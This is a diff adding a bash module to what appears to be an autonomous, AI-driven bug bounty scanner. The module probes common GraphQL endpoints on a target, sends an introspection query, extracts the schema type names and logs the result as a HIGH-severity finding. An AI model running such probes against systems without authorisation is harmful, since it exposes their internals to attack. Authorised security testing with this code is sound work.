The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/13-graphql.sh

@@ -0,0 +1,55 @@
+#!/usr/bin/env bash
+# Vector 13: GraphQL Injection & Introspection
+# Desc: GraphQL introspection, injection, batching attacks
+# Detect: /graphql endpoints, query params, POST with query
+# Severity: HIGH
+# Tools: curl
+
+vector_graphql() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
+  
+  print_info "Testing GraphQL vectors..."
+  
+  # Check common GraphQL endpoints
+  local gql_paths=("/graphql" "/v1/graphql" "/v2/graphql" "/api/graphql" "/graph" "/query" "/gql")
+  local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
+  
+  for path in "${gql_paths[@]}"; do
+    local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}${path}" 2>/dev/null)
+    
+    if [ "$code" != "000" ] && [ "$code" != "404" ]; then
+      print_info "Found GraphQL endpoint: ${base}${path} (HTTP $code)"
+      
+      # Test introspection
+      local introspection='{"query":"query{__schema{types{name fields{name type{name kind}}}}}"}'
+      local response=$(curl -s --connect-timeout 5 --max-time 10 \
+        -X POST \
+        -H "Content-Type: application/json" \
+        -d "$introspection" \
+        "${base}${path}" 2>/dev/null)
+      
+      if echo "$response" | grep -qi '"data"' && echo "$response" | grep -qi '__schema\|types\|fields'; then
+        print_find "GraphQL Introspection Enabled!" "Full schema available at ${base}${path}"
+        
+        # Extract type names from schema
+        local types=$(echo "$response" | jq -r '.data.__schema.types[].name' 2>/dev/null | grep -v '__\|Query\|Mutation\|Subscription\|String\|Int\|Float\|Boolean\|ID' | head -10)
+        
+        echo "SEVERITY: HIGH
+VECTOR: GraphQL Introspection
+DETAIL: GraphQL introspection enabled at ${base}${path} on $target
+EVIDENCE: Full schema accessible
+EXPLOIT: Extract all queries/mutations: query{__schema{types{name fields{name type{name kind}}}}}" > "$REPORTS_DIR/.finding_$(date +%s)_graphql.txt"
+        findings=$((findings + 1))
+        
+        if [ -n "$types" ]; then
+          print_info "Types found: $types"
+        fi
+      fi
+    fi
+  done
+  
+  return $findings
+}